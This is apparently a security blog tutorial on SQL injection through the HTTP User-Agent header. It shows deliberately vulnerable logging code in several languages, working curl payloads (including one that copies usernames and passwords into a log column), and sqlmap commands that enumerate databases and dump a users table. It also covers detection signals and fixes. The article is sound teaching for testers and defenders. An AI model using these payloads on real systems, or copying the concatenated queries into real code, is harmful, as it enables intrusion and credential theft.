TechEarl

User-Agent SQL Injection: Why It Still Happens and How to Test for It

User-Agent SQL injection lives in analytics tables, audit logs, and bot-detection lookups. The vulnerable code, why developers think it's safe, the manual curl exploit, the sqlmap one-liner, the detection signals, and the fix at the code and infrastructure level.

Ishan Karunaratne⏱️ 9 min readUpdated
Share thisCopied
Exploiting and defending against SQL injection via the HTTP User-Agent header

User-Agent SQL injection is the case where an application takes the User-Agent request header and concatenates it into a SQL query without parameterisation, most often when writing to a logging, analytics, or bot-detection table. The vector is unglamorous, the exploit is one line of curl, and the bug ships in a meaningful percentage of every codebase I have reviewed since 2015. This guide covers exactly how it happens, how to test for it by hand and with sqlmap, and the defences that work.

This is one of the per-vector leaves under the SQL injection deep dive and the HTTP request vector map. If you have not read the parent, the variants taxonomy lives there.

In short: User-Agent SQL injection is the case where an application reads the User-Agent HTTP request header and concatenates the value into a SQL query instead of passing it as a parameter. It almost always happens in analytics logging or audit-trail middleware, where the developer wrote the database insert by hand instead of going through the framework's safe API. The exploit is one curl command (-H "User-Agent: ', (SELECT SLEEP(5)), '" against a normal endpoint). The fix is one parameterised query plus a maximum-length cap before storage. The default sqlmap scan misses it because sqlmap does not test headers until you raise the --level flag to 3 or higher. This vector is over-represented in real-world findings because analytics middleware is the most under-reviewed code in nearly every codebase, and User-Agent is the longest, most attacker-controlled string the application logs.

Where does User-Agent SQL injection actually show up?

The User-Agent header appears in every HTTP request a browser or HTTP client sends. Backend applications read it for three common reasons:

  1. Analytics logging. "Which browsers visit us, which versions, which OS." Writes a row per request to a page_views or events table.
  2. Audit logging. "Who did what from which browser." Writes a row per privileged action to an audit_log table.
  3. Bot detection / feature gating. "Is this a crawler or a real user." Reads a bot_signatures table looking for a match against the incoming UA.

Cases 1 and 2 are the dangerous ones because the UA value travels into an INSERT. Case 3 is dangerous too but rarer in practice because the bot-detection logic is usually parameterised by default.

The vulnerable code

The pattern I see most often, in PHP:

php
$ua = $_SERVER['HTTP_USER_AGENT'];
$ip = $_SERVER['REMOTE_ADDR'];
$path = $_SERVER['REQUEST_URI'];

$sql = "INSERT INTO page_views (path, user_agent, ip, viewed_at)
        VALUES ('$path', '$ua', '$ip', NOW())";
mysqli_query($conn, $sql);

Three values, all attacker-controlled, all concatenated. The bug is in the middle position. An attacker sends a User-Agent of ', (SELECT GROUP_CONCAT(username, ':', password) FROM users), ' and the resulting query writes the entire user table into the analytics table's UA column. The attacker then visits an admin analytics dashboard (or just reads the same column back via another endpoint) and exfiltrates the credentials.

The equivalent in Python with sqlite3:

python
ua = request.headers.get('User-Agent', '')
conn.execute(
    f"INSERT INTO page_views (path, user_agent) VALUES ('{request.path}', '{ua}')"
)

In Ruby/Rails when someone reaches for find_by_sql:

ruby
ua = request.user_agent
PageView.connection.execute(
  "INSERT INTO page_views (path, user_agent) VALUES ('#{request.path}', '#{ua}')"
)

In Node.js with a raw pg query:

javascript
const ua = req.headers['user-agent'];
await pool.query(
  `INSERT INTO page_views (path, user_agent) VALUES ('${req.path}', '${ua}')`
);

Same shape every time: a string template, no parameterisation, all three values attacker-controlled.

Why developers think it's safe

The mental model failure is identifiable and consistent. Developers treat headers as infrastructure. They escape form fields because they were taught to. They never escape headers because nobody told them to. The HTTP layer feels machine-generated. It is not. Anyone with a TCP socket can send any bytes they like as any header.

A second pattern I see often: the developer added parameterised queries to every endpoint, validated every form field, code-reviewed every API call, and then wrote a separate analytics middleware that runs after the main handler. That middleware was written in a hurry, used string concatenation because "it's just logging", and never got the same review pressure. Most of the User-Agent SQLi findings I have personally reported sit inside analytics or logging middleware.

A third pattern: the validation layer truncates fields it knows about. UA is not in the schema, so it does not get truncated. The attacker enjoys an unbounded write field that no validator touches.

How do you test User-Agent for SQL injection by hand?

Start with a boolean probe. Replace the UA with something that should change the query's truth value if the field is concatenated:

bash
curl -s -o /dev/null -w "%{http_code}\n" \
  -H "User-Agent: ' OR '1'='1" \
  "https://target.example/page"

Compare the response code, response time, and response size against a baseline curl with a normal UA. If anything differs, the field is suspicious.

For an INSERT context (which UA usually is, not a SELECT), boolean probes do not produce visible differences in the response because the INSERT does not return data to the user. Use an error-trigger probe instead:

bash
curl -H "User-Agent: ', (SELECT 1/0), '" "https://target.example/page"

If the response code changes from 200 to 500, the field is in a SQL context and your payload caused a database error.

For a confident time-based probe (works even when nothing else does):

bash
curl -w "%{time_total}\n" \
  -H "User-Agent: ', (SELECT IF(1=1, SLEEP(5), 0)), '" \
  "https://target.example/page"

If the request takes 5+ seconds, the SLEEP fired. Confirmed.

For extraction once injection is confirmed, use union-based or time-based blind technique (the PortSwigger Web Security Academy has standalone labs for each). UA injection in an INSERT context typically requires either a second-order read (the value is later read back via another endpoint into another concatenated query) or out-of-band exfiltration (DNS callback). Both are covered in the SQL injection deep dive.

What is the sqlmap command for User-Agent injection?

Two ways to test User-Agent with sqlmap.

The discovery method: raise the level to 3 and let sqlmap try every header automatically:

bash
sqlmap -u "https://target.example/page" --level=3 --batch --random-agent

--level=3 enables User-Agent and Referer testing per the sqlmap official Usage wiki. The output will identify User-Agent as the injectable parameter if the bug is there.

The explicit method: point sqlmap directly at User-Agent with -p user-agent:

bash
sqlmap -u "https://target.example/page" -p user-agent --level=3 --batch

Faster than the discovery method because it skips testing other parameters.

The explicit injection-point method: mark * in a User-Agent string passed via --user-agent:

bash
sqlmap -u "https://target.example/page" \
  --user-agent="Mozilla/5.0 *" \
  --batch

The * is sqlmap's "inject here" marker. Useful when the UA is parsed (e.g., the app extracts the browser name and version separately) and you only want to inject into a specific subfield.

Once injection is confirmed, the standard enumeration sequence works:

bash
sqlmap -u "https://target.example/page" -p user-agent --level=3 --batch --dbs
sqlmap -u "https://target.example/page" -p user-agent --level=3 --batch -D target_db --tables
sqlmap -u "https://target.example/page" -p user-agent --level=3 --batch -D target_db -T users --dump

See the sqlmap cheat sheet for the full flag reference.

Detection signals

On the defender side, these are the high-signal indicators:

  • Application logs showing User-Agent values containing single quotes, comment markers (--, /*), SQL keywords (UNION, SELECT, SLEEP), or unusual length (over a few hundred bytes). Real browser UAs cap around 250 bytes; anything significantly longer is suspicious.
  • Database slow-query log showing INSERT statements that took unusually long. A SLEEP-based blind injection extracting characters one at a time produces a steady cadence of slow INSERTs.
  • WAF logs flagging payload patterns inside headers. Most commercial WAFs catch the obvious payloads; tamper-script obfuscation will defeat them.
  • information_schema access from the application database user. This is the single highest-value SQLi detection rule, and it fires across every vector. UA injection that has progressed to enumeration will hit this.

A reasonable monitoring rule: alert on any HTTP request with a User-Agent longer than 500 bytes. Real-world UAs are nowhere near that. Exploitation payloads usually are.

How do you defend against User-Agent SQL injection?

Two changes. Both required:

Parameterise the logging query. The same parameterised-query rule that applies to every other database call applies here. The OWASP SQL Injection Prevention Cheat Sheet is the canonical reference for every stack. PHP with PDO:

php
$stmt = $pdo->prepare("
    INSERT INTO page_views (path, user_agent, ip, viewed_at)
    VALUES (?, ?, ?, NOW())
");
$stmt->execute([$_SERVER['REQUEST_URI'], $_SERVER['HTTP_USER_AGENT'], $_SERVER['REMOTE_ADDR']]);

Python with the standard DB-API:

python
conn.execute(
    "INSERT INTO page_views (path, user_agent, ip) VALUES (?, ?, ?)",
    (request.path, request.headers.get('User-Agent', ''), request.remote_addr)
)

Node.js with node-postgres:

javascript
await pool.query(
  'INSERT INTO page_views (path, user_agent, ip) VALUES ($1, $2, $3)',
  [req.path, req.headers['user-agent'], req.ip]
);

Apply a maximum length before storage. This does not "fix" SQLi (parameterised queries do), but it bounds the blast radius for any other class of bug that might exploit the same field, and it gives detection something to alert on:

python
ua = (request.headers.get('User-Agent') or '')[:500]

500 bytes is a generous ceiling that accommodates legitimate UAs (which top out around 250) and rejects payloads that need to carry SQL keywords plus extraction logic.

Defence at the infrastructure level

  • WAF rules on header content. Block requests where User-Agent matches obvious payload patterns: single quotes followed by SQL keywords, presence of comment markers, length over a threshold. Defence in depth, not the primary control.
  • Schema constraints. Declare the user_agent column as VARCHAR(500) (or whatever you decide) at the schema level. The database enforces truncation regardless of what the application does.
  • Logging table on a least-privilege connection. The analytics database user should have INSERT on page_views and nothing else. No SELECT on users, no SELECT on information_schema. If the SQLi succeeds, the attacker can write to one table and read from nothing.

Common defence mistakes

  1. Escaping the UA with addslashes or mysql_real_escape_string and calling it done. Escaping is not a substitute for parameterisation. Numeric contexts and edge cases routinely defeat escaping. Parameterise.
  2. "User-Agent comes from the browser, so we trust it." No. User-Agent is a header. Anyone can send any bytes.
  3. Filtering out the word UNION and assuming nothing else can hurt you. Time-based blind injection uses none of the keywords developers blacklist. The defence is parameterisation, not keyword denylists.
  4. Letting the analytics middleware use the same database user as the main app. Limits your blast-radius reduction. Use a separate, least-privilege account.
  5. Truncating without parameterising. Truncation alone does not prevent SQLi if the truncated payload still produces a meaningful query (300 bytes is plenty for time-based extraction).

Real-world incidents

The pattern recurs in publicly disclosed CVEs every year. A few from the recent window:

  • 1Panel SQL injection via User-Agent (pre-1.10.12-lts). The Linux server management UI shipped a SQL injection in the code path that handled the User-Agent header value during request logging. Patched by version 1.10.12-lts. (NVD CVE listing)
  • CVE-2025-9807, The Events Calendar (WordPress). Time-based SQL injection through a publicly accessible parameter that fed an unparameterised query, including User-Agent in some configurations. Affected up to 6.15.1, fixed in 6.15.1.1. (Hadrian write-up)
  • The Patchstack WordPress database lists dozens of analytics, audit, and stats plugins with SQL injection bugs in their visitor-tracking middleware between 2023 and 2026. The signature is consistent: a hand-rolled INSERT into a visits or page_views table with the User-Agent value concatenated into the SQL string. (Patchstack vulnerability database)

Where to go next

Sources

Authoritative references this article was fact-checked against.

TagsSQL InjectionUser-AgentHTTP HeadersWeb SecuritysqlmapPenetration TestingApplication Security

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts